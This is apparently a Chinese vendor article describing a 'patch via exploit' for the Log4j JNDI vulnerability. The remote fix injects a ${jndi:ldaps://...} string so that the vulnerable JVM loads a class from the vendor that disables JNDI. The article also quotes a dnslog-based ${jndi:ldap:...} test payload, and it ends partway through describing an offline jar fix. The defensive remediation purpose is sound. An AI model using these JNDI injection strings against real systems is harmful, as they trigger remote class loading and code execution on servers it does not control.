史诗级的漏洞CVE--爆发以来，各安全厂商提供了各种漏洞检测工具，也提供了各种漏洞修复方案。但是在修复过程中遇到无尽的坑，比如更新版本需要重启服务也不见得那么方便，改代码需要一定周期，临时修复方法错误（系统环境变量未生效），Log4j2.0-2.10版本无临时修复方案，jdk升级高版本存在bypass且仍然可以造成信息泄露等。
鉴于以上问题，青藤推出在线离线临时修复方案，帮助大家迅速修复漏洞，度过“修改代码-测试-上线正式升级版本”这段时间差，避免发生实际损失。
Log4jPatch原理
Log4jPatch利用本次Log4j漏洞本身的任意代码执行能力，将Payload注入到目标Java进程中，通过反射调用，禁用了Log4j对jndi的支持，使得后续对该漏洞的利用无效，完成漏洞修复，总而言之，就是利用漏洞把漏洞补上。
Log4jPatch造成的影响
Log4j无法使用jndi，如果Log4j业务使用了jndi那么就会受到影响（这样的程序员就应该被安全工程师吊起来打）。
2.由于注入到目标Java进程中的Payload极小（1.6KB），且变更逻辑简单，对于担心jvm内存的用户来说请放心。等您进行代码级别的修复之后，只需要重启服务patch就不会再驻留在内存中。
Log4jPatch修复方法
1.如何使用青藤的Log4jPatch在线补丁服务
1.1修复人员在漏洞注入点（如用户名、搜索框、前端站点表单字段等等漏洞的触发点，不需要提供给青藤），把注入payload修改为：${jndi:ldaps://cve--.qingteng.cn:/patch}。1.2存在漏洞的业务会到cve--.qingteng.cn去远程加载class文件，把jvm虚拟机中的jndi给禁用。1.3修复验证：按照之前查找验证存在漏洞的方式进行测试，比如${jndi:ldap:xxxxx.dnslog.xxcnxx/exp}，漏洞验证不成功则说明漏洞修复成功。
验证demo
patch前后效果对比
patch前，利用漏洞访问1.5gwpt7.dnslog.cn成功；patch后，利用漏洞访问2.5gwpt7.dnslog.cn失败；手动访问curl3.5gwpt7.dnslog.cn成功，证明dnslog有效（附时间戳证明连续性）。
2.如果业务无法访问互联网服务，还可以使用青藤提供的离线jar包进行热修复
jar包修复原理：利用JVM提供的InstrumentationAPI来更改加载到JVM中的现有字节码，